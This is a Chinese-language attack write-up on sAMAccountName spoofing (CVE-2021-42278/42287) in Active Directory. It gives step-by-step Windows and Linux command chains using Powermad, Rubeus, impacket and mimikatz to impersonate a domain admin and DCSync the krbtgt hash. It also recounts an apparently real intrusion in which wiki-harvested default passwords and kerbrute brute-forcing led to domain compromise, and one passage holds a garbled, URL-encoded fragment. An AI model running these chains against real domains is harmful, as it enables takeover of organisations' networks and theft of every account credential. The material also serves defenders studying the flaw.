简介

用户可以创建一个机器账户,机器账户改名为dc,然后申请TGT,然后把自己改

名,然后DC在TGS_REQ时会找不到这个账户就会以自己的密钥加密TGS,然后就得到了一

个高权限的ST

机器账户改名为和dc机器账户一样,然后申请tgt,接着把自己改名,使得dc在tgs_rep时候找不到这账户,这时会用自己的密钥加密tgs ticket,然后就是得到了一个高权限st。

  1. CVE-2021-42278,机器账户的名字一般来说应该以$结尾,但AD没有对域内机器账户名做验证
  2. CVE-2021-42287,与上述漏洞配合使用,创建与DC机器账户名字相同的机器账户(不以$结尾),账户请求一个TGT后,更名账户,然后通过S4U2self申请TGS Ticket,接着DC在TGS_REP阶段,这个账户不存在的时候,DC会使用自己的密钥加密TGS Ticket,提供一个属于该账户的PAC,然后我们就得到了一个高权限ST。

测试1

  1. 需要对属性`sAMAccountName` and `servicePrincipalName`,具有写权限。说到机器账户,就可以利用域内默认的MAQ特性,默认允许域账户创建10个机器账户,而创建者对于机器账户具有写权限,当然可以更改这两个属性。

查看MAQ是否有限制,查看LDAP中的ms-ds-machineaccountquota属性即可。

  1. 创建一个机器账户,这在之前的文章都有所提及,使用impacket的addcomputer.py或是powermad
    addcomputer.py是利用SAMR协议创建机器账户,这个方法所创建的机器账户没有SPN,所以可以不用清除
  2. 清除机器账户的servicePrincipalName属性
  3. 将机器账户的sAMAccountName,更改为DC的机器账户名字,注意后缀不带$
  4. 为机器账户请求TGT
  5. 将机器账户的sAMAccountName更改为其他名字,不与步骤3重复即可
  6. 通过S4U2self协议向DC请求ST
  7. DCsync

通过用户账户利用的话,需要对用户账户有**GenericAll**的权限还有用户的凭据

实际上只操作sAMAccountName属性,有GenericWrite或是WriteProperty,也可以达到相同效果

如果可以跨域创建机器账户或是有写权限的话,也可以利用此攻击进行跨域攻击。

windows

  1. # 0. create a computer account
  2. $password = ConvertTo-SecureString 'ComputerPassword' -AsPlainText -Force
  3. New-MachineAccount -MachineAccount "ControlledComputer" -Password $($password) -Domain "domain.local" -DomainController "DomainController.domain.local" -Verbose
  4. # 1. clear its SPNs
  5. Set-DomainObject "CN=ControlledComputer,CN=Computers,DC=domain,DC=local" -Clear 'serviceprincipalname' -Verbose
  6. # 2. rename the computer (computer -> DC)
  7. Set-MachineAccountAttribute -MachineAccount "ControlledComputer" -Value "DomainController" -Attribute samaccountname -Verbose
  8. # 3. obtain a TGT
  9. Rubeus.exe asktgt /user:"DomainController" /password:"ComputerPassword" /domain:"domain.local" /dc:"DomainController.domain.local" /nowrap
  10. # 4. reset the computer name
  11. Set-MachineAccountAttribute -MachineAccount "ControlledComputer" -Value "ControlledComputer" -Attribute samaccountname -Verbose
  12. # 5. obtain a service ticket with S4U2self by presenting the previous TGT
  13. Rubeus.exe s4u /self /impersonateuser:"DomainAdmin" /altservice:"ldap/DomainController.domain.local" /dc:"DomainController.domain.local" /ptt /ticket:[Base64 TGT]
  14. # 6. DCSync
  15. (mimikatz) lsadump::dcsync /domain:domain.local /kdc:DomainController.domain.local /user:krbtgt

或是Windows下的武器化工具:https://github.com/cube0x0/noPac

linux

  1. # 0. create a computer account
  2. addcomputer.py -computer-name 'ControlledComputer$' -computer-pass 'ComputerPassword' -dc-host DC01 -domain-netbios domain 'domain.local/user1:complexpassword'
  3. # 1. clear its SPNs
  4. addspn.py -u 'domain\user' -p 'password' -t 'ControlledComputer$' -c DomainController
  5. # 2. rename the computer (computer -> DC)
  6. renameMachine.py -current-name 'ControlledComputer$' -new-name 'DomainController' -dc-ip 'DomainController.domain.local' 'domain.local'/'user':'password'
  7. # 3. obtain a TGT
  8. getTGT.py -dc-ip 'DomainController.domain.local' 'domain.local'/'DomainController':'ComputerPassword'
  9. # 4. reset the computer name
  10. renameMachine.py -current-name 'DomainController' -new-name 'ControlledComputer$' 'domain.local'/'user':'password'
  11. # 5. obtain a service ticket with S4U2self by presenting the previous TGT
  12. KRB5CCNAME='DomainController.ccache' getST.py -self -impersonate 'DomainAdmin' -spn 'cifs/DomainController.domain.local' -k -no-pass -dc-ip 'DomainController.domain.local' 'domain.local'/'DomainController'
  13. # 6. DCSync by presenting the service ticket
  14. KRB5CCNAME='DomainAdmin.ccache' secretsdump.py -just-dc-user 'krbtgt' -k -no-pass -dc-ip 'DomainController.domain.local' @'DomainController.domain.local'

测试2

测试账户为普通域账户

image-20211213153058734.png

检测目标是否受到影响

  1. Rubeus.exe asktgt /user:labs /password:abc123! /domain:ssosec.lab /dc:SSO DC.ssosec.lab /nopac /nowrap

在无pac时和有pac时票据大小明显不同:
image-20211213154038646.png

image-20211213154111043.png

尝试攻击(域用户默认可以新建机器账户): 新增机器帐号使用powermad

  1. NewMachineAccount MachineAccount TestSPN Domain ssosec.lab DomainCont roller SSODC.ssosec.lab Verbose

image-20211213154204147.png

清除SPN信息:

  1. SetDomainObject "CN=TestSPN,CN=Computers,DC=ssosec,DC=lab" Clear 'servi ceprincipalname' Verbose

image-20211213154233453.png

更改账户名称:

  1. SetMachineAccountAttribute MachineAccount TestSPN Value "SSODC" Attri bute samaccountname Verbose

image-20211213154259858.png

请求TGT:

  1. Rubeus.exe asktgt /user:SSODC /password:abc123! /domain:ssosec.lab /dc:SS ODC.ssosec.lab /nowrap

image-20211213154326164.png

更改回原属性:

  1. SetMachineAccountAttribute MachineAccount TestSPN Value "TestSPN" Att ribute samaccountname Verbose

请求票据:

  1. Rubeus.exe s4u /impersonateuser:Administrator /nowrap /dc:SSODC.ssosec.la b /self /altservice:LDAP/SSODC.ssosec.lab /ptt /ticket:[TGT]

image-20211213154425368.png
即可DCsync
image-20211213154449565.png

源码修改如下:https://github.com/GhostPack/Rubeus/pull/105/files

自动化如下:https://github.com/cube0x0/noPac

实战

获取了一个windows云桌面普通域管理员权限,云桌面的数据只进不出来,完全不出网

坑点1

首先创建一个机器账户,将samaccountname改名dc(假设域控主机名为DCsAMAccountName spoofing - 图10%2C%E7%84%B6%E5%90%8E%E7%94%B3%E8%AF%B7tgt%2C%E7%84%B6%E5%90%8E%E5%86%8D%E4%BF%AE%E6%94%B9%E6%9C%BA%E5%99%A8%E8%B4%A6%E6%88%B7%E5%90%8D%E4%B8%BA%E5%85%B6%E4%BB%96%2C%E7%84%B6%E5%90%8E%E5%9F%9F%E6%8E%A7%E5%9C%A8TGS_REQ%E6%97%B6%E4%BC%9A%E6%89%BE%E4%B8%8D%E5%88%B0%E4%B9%8B%E5%89%8D%E5%90%8D%E4%B8%BAdc%E7%9A%84%E8%B4%A6%E6%88%B7%2C%E7%84%B6%E5%90%8E%E5%9F%9F%E6%8E%A7%E4%BC%9A%E6%90%9C%E7%B4%A2%E7%9B%B8%E5%90%8C%E4%BD%86%E5%9C%A8%E6%9C%80%E5%90%8E%E6%B7%BB%E5%8A%A0%E4%B8%80%E4%B8%AA#card=math&code=%29%2C%E7%84%B6%E5%90%8E%E7%94%B3%E8%AF%B7tgt%2C%E7%84%B6%E5%90%8E%E5%86%8D%E4%BF%AE%E6%94%B9%E6%9C%BA%E5%99%A8%E8%B4%A6%E6%88%B7%E5%90%8D%E4%B8%BA%E5%85%B6%E4%BB%96%2C%E7%84%B6%E5%90%8E%E5%9F%9F%E6%8E%A7%E5%9C%A8TGS_REQ%E6%97%B6%E4%BC%9A%E6%89%BE%E4%B8%8D%E5%88%B0%E4%B9%8B%E5%89%8D%E5%90%8D%E4%B8%BAdc%E7%9A%84%E8%B4%A6%E6%88%B7%2C%E7%84%B6%E5%90%8E%E5%9F%9F%E6%8E%A7%E4%BC%9A%E6%90%9C%E7%B4%A2%E7%9B%B8%E5%90%8C%E4%BD%86%E5%9C%A8%E6%9C%80%E5%90%8E%E6%B7%BB%E5%8A%A0%E4%B8%80%E4%B8%AA&id=EID4x)的这个用户DC$ ,并使用DC$的密钥来加密票据,此时会得到一张高权限ST

前提条件

  1. 能过添加机器用户
  2. 有一个域内普通用户

使⽤如下命令查询MAQ,发现值为0。MachineAccountQuota默认为10,值为0意味着普通⽤户⽆法创建机器账户,也就⽆法直接利⽤这个漏洞,当然这也是域加固的常⻅⽅法。

  1. Get-ADObject -Identity ((Get-ADDomain).distinguishedname) -Properties ms-DSMachineAccountQuota

image-20211213195950508.png

  1. 通过在云桌⾯进⾏信息收集,找到了公司Wiki,并且找到了⼀些默认初始账户名和密码,再通过这些密码⽤
  2. kerbrute预认证进⾏爆破,再次获取⼀些⽤户密码。通过筛选这些⽤户存在的组,发现了⼀个特殊的组
  3. joinadmin,这是⼀个⽤来加域的组。

image-20211213200100466.png

  1. 也就是说,⽬前控制了⼀个可以⽤来加域的特殊⽤户,这时候即使MAQ0,也可以添加机器⽤户,利⽤⽅式
  2. MAQ=10时⼀致。

坑点2

cube0x0的POC默认模拟的是域管administrator,但是如果域内不存在这个⽤户,ptt后dir会提示访问拒绝,通过 /IMPERSONATE domain-admin-user 选项,指定⽤户。

image-20211213200159594.png

关于模拟⽤户这⼀点,可以参考Impacket的打法:

image-20211213200215503.png

坑点3

由于当时环境受限,Impacket⽆法使⽤,所以⾸先考虑能不能Psexec,或者使⽤mimikatz来dcsync。实际上ptt后提示访问拒绝,dcsync也同样失败:

image-20211213200306356.png

Psexec访问拒绝应该是票据转换问题,impacket会⾃动票据转换,但是Psexec不会,dcsync失败原因是缺少

LDAP票据。所以使⽤如下命令再次注⼊LDAP票据:

  1. noPac.exe -domain xxx.com -user user -pass userpassword /dc dc.xxx.com /mAccount
  2. demo124 /mPassword Password123! /service ldap /ptt

image-20211213200342051.png

理解

攻击链和涉及漏洞

  1. 低权限域账户可以创建和修改机器账户
  2. AP_REP的时候(而非TGS_REP)在搜索不到用户的时候,去搜索机器用户,并在之后添加了$
  3. 域控允许委派攻击

攻击链路

  1. 清除机器SPN,并创建/更改机器名为域控机器名,并去除末尾sAMAccountName spoofing - 图17**,机器名就更改为dc1
  2. 以dc1的机器账户和密码向域控发起Kerberos认证请求获取到TGT
  3. 删除dc1用户的机器名,并用步骤二获取到的TGT请求ldap管理员服务权限的ST
  4. 域控相似获取到解密TGT中的PAC,发现请求的是ldap管理员服务权限,并用ldap服务器管理员的HASH去加密ST
  5. 当拿着ST去请求LDAP管理员服务的时候,LDAP服务器管理员用自身HASH解密出PAC
  6. 通过PAC获取请求用户和被请求用户的相关信息,再判断用户是否有访问服务的权限
  7. 在判断过程中是去请求域控访问的。域控首先去数据库搜索请求方的相关信息,因为没有$,会首先被当成域成员信息去搜索,当搜索不到的时候,会去搜索机器账户信息,在搜索的时候末尾自动加了一个 $
  8. 这也导致域控得到的PAC消息为,域控机器想去请求ldap管理员服务,返回符合权限通过请求,这样只要请求域控,当然就获得域控的权限了

工具

https://github.com/WazeHell/sam-the-admin

pdf深入理解 —深入理解漏洞必看

sAMAccountName欺骗分析和复现 (2).pdf
域内最新提权漏洞原理深入分析.pdf